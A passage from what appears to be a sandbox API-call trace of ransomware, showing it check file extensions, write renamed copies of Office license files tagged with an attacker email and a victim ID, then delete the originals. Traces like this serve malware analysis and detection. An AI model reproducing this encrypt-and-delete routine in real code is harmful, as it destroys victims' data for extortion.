Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 1 [0196.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0196.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0196.269] lstrlenW (lpString=".doc") returned 4 [0196.269] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".docx") returned 5 [0196.269] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.269] lstrlenW (lpString=".pdf") returned 4 [0196.269] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".xls") returned 4 [0196.269] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".xlsx") returned 5 [0196.269] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.269] lstrlenW (lpString=".ppt") returned 4 [0196.269] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0196.269] lstrlenW (lpString=".zip") returned 4 [0196.269] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".rar") returned 4 [0196.269] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".bz2") returned 4 [0196.269] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString=".7z") returned 3 [0196.269] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0196.269] lstrlenW (lpString=".dbf") returned 4 [0196.269] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0196.269] lstrlenW (lpString=".1cd") returned 4 [0196.269] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71 [0196.270] lstrlenW (lpString=".jpg") returned 4 [0196.270] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.270] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.270] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0196.272] GetLastError () returned 0x0 [0196.272] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d7f, lpOverlapped=0x0) returned 1 [0196.274] WriteFile (in: hFile=0x374, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0196.276] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.276] WriteFile (in: hFile=0x374, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x124, lpOverlapped=0x0) returned 1 [0196.276] SetEndOfFile (hFile=0x374) returned 1 [0196.276] CloseHandle (hObject=0x374) returned 1 [0196.276] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.276] SetEndOfFile (hFile=0x54c) returned 1 [0196.290] CloseHandle (hObject=0x54c) returned 1 [0196.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-ul-oob.xrm-ms")) returned 1 [0196.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0196.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0196.292] lstrlenW (lpString=".doc") returned 4 [0196.292] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.292] lstrlenW (lpString=".docx") returned 5 [0196.292] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.292] lstrlenW (lpString=".pdf") returned 4 [0196.292] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.293] lstrlenW (lpString=".xls") returned 4 [0196.293] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.293] lstrlenW (lpString=".xlsx") returned 5 [0196.293] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.293] lstrlenW (lpString=".ppt") returned 4 [0196.293] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0196.293] lstrlenW (lpString=".zip") returned 4 [0196.293] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.293] lstrlenW (lpString=".rar") returned 4 [0196.293] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.293] lstrlenW (lpString=".bz2") returned 4 [0196.293] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.293] lstrlenW (lpString=".7z") returned 3 [0196.293] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0196.293] lstrlenW (lpString=".dbf") returned 4 [0196.293] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0196.293] lstrlenW (lpString=".1cd") returned 4 [0196.293] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90 [0196.293] lstrlenW (lpString=".jpg") returned 4 [0196.293] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.294] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.294] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0196.296] GetLastError () returned 0x0 [0196.296] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2ba7, lpOverlapped=0x0) returned 1 [0196.297] WriteFile (in: hFile=0x374, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0196.299] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.299] WriteFile (in: hFile=0x374, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x112, lpOverlapped=0x0) returned 1 [0196.299] SetEndOfFile (hFile=0x374) returned 1 [0196.299] CloseHandle (hObject=0x374) returned 1 [0196.299] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.299] SetEndOfFile (hFile=0x54c) returned 1 [0196.525] CloseHandle (hObject=0x54c) returned 1 [0196.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-pl.xrm-ms")) returned 1 [0196.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0196.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0196.528] lstrlenW (lpString=".doc") returned 4 [0196.528] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.528] lstrlenW (lpString=".docx") returned 5 [0196.528] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.528] lstrlenW (lpString=".pdf") returned 4 [0196.528] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.528] lstrlenW (lpString=".xls") returned 4 [0196.528] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.528] lstrlenW (lpString=".xlsx") returned 5 [0196.528] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.528] lstrlenW (lpString=".ppt") returned 4 [0196.528] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0196.528] lstrlenW (lpString=".zip") returned 4 [0196.528] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.528] lstrlenW (lpString=".rar") returned 4 [0196.528] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.528] lstrlenW (lpString=".bz2") returned 4 [0196.528] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.528] lstrlenW (lpString=".7z") returned 3 [0196.528] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0196.528] lstrlenW (lpString=".dbf") returned 4 [0196.529] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0196.529] lstrlenW (lpString=".1cd") returned 4 [0196.529] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-pl.xrm-ms") returned 81 [0196.529] lstrlenW (lpString=".jpg") returned 4 [0196.529] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.530] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.530] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0196.532] GetLastError () returned 0x0 [0196.532] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d6f, lpOverlapped=0x0) returned 1 [0196.535] WriteFile (in: hFile=0x564, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0196.540] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.540] WriteFile (in: hFile=0x564, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11c, lpOverlapped=0x0) returned 1 [0196.541] SetEndOfFile (hFile=0x564) returned 1 [0196.541] CloseHandle (hObject=0x564) returned 1 [0196.541] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.541] SetEndOfFile (hFile=0x54c) returned 1 [0196.545] CloseHandle (hObject=0x54c) returned 1 [0196.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 1 [0196.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0196.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0196.548] lstrlenW (lpString=".doc") returned 4 [0196.548] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.548] lstrlenW (lpString=".docx") returned 5 [0196.548] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.548] lstrlenW (lpString=".pdf") returned 4 [0196.548] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.548] lstrlenW (lpString=".xls") returned 4 [0196.548] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.548] lstrlenW (lpString=".xlsx") returned 5 [0196.549] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.549] lstrlenW (lpString=".ppt") returned 4 [0196.549] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0196.549] lstrlenW (lpString=".zip") returned 4 [0196.549] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.549] lstrlenW (lpString=".rar") returned 4 [0196.549] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.549] lstrlenW (lpString=".bz2") returned 4 [0196.549] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.549] lstrlenW (lpString=".7z") returned 3 [0196.549] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0196.549] lstrlenW (lpString=".dbf") returned 4 [0196.549] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0196.549] lstrlenW (lpString=".1cd") returned 4 [0196.549] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86 [0196.549] lstrlenW (lpString=".jpg") returned 4 [0196.549] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.550] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.550] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0196.552] GetLastError () returned 0x0 [0196.552] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0196.555] WriteFile (in: hFile=0x564, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0196.556] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.556] WriteFile (in: hFile=0x564, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x128, lpOverlapped=0x0) returned 1 [0196.556] SetEndOfFile (hFile=0x564) returned 1 [0196.556] CloseHandle (hObject=0x564) returned 1 [0196.556] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.556] SetEndOfFile (hFile=0x54c) returned 1 [0196.560] CloseHandle (hObject=0x54c) returned 1 [0196.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0196.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0196.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0196.562] lstrlenW (lpString=".doc") returned 4 [0196.562] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.562] lstrlenW (lpString=".docx") returned 5 [0196.562] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.562] lstrlenW (lpString=".pdf") returned 4 [0196.562] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.562] lstrlenW (lpString=".xls") returned 4 [0196.562] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.562] lstrlenW (lpString=".xlsx") returned 5 [0196.562] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.562] lstrlenW (lpString=".ppt") returned 4 [0196.562] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0196.562] lstrlenW (lpString=".zip") returned 4 [0196.563] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.563] lstrlenW (lpString=".rar") returned 4 [0196.563] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.563] lstrlenW (lpString=".bz2") returned 4 [0196.563] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.563] lstrlenW (lpString=".7z") returned 3 [0196.563] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0196.563] lstrlenW (lpString=".dbf") returned 4 [0196.563] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0196.563] lstrlenW (lpString=".1cd") returned 4 [0196.563] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0196.563] lstrlenW (lpString=".jpg") returned 4 [0196.563] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.564] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.564] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0196.566] GetLastError () returned 0x0 [0196.566] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x5aa7, lpOverlapped=0x0) returned 1 [0196.882] WriteFile (in: hFile=0x564, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x5ab0, lpOverlapped=0x0) returned 1 [0196.884] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.884] WriteFile (in: hFile=0x564, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x12a, lpOverlapped=0x0) returned 1 [0196.884] SetEndOfFile (hFile=0x564) returned 1 [0197.164] CloseHandle (hObject=0x564) returned 1 [0197.613] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.613] SetEndOfFile (hFile=0x54c) returned 1 [0197.618] CloseHandle (hObject=0x54c) returned 1 [0197.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0197.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0197.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0197.620] lstrlenW (lpString=".doc") returned 4 [0197.620] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.620] lstrlenW (lpString=".docx") returned 5 [0197.620] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.621] lstrlenW (lpString=".pdf") returned 4 [0197.621] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.621] lstrlenW (lpString=".xls") returned 4 [0197.621] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.621] lstrlenW (lpString=".xlsx") returned 5 [0197.621] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.621] lstrlenW (lpString=".ppt") returned 4 [0197.621] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.621] lstrlenW (lpString="C:\\Program Files\\Microsoft 